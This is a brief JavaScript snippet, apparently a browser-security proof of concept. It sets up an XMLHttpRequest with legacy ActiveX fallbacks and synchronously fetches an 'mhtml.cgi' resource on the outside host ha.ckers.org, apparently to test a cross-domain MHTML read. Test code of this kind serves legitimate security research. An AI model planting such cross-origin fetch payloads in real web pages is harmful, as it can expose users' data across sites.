var request = null;
request = new XMLHttpRequest();
if (!request) {
  request = new ActiveXObject("Msxml2.XMLHTTP");
}
if (!request) {
  request = new ActiveXObject("Microsoft.XMLHTTP");
}

var result = null;
request.open("GET", "http://ha.ckers.org/weird/mhtml.cgi?target2=", false);
request.send(null);
result = request.responseText;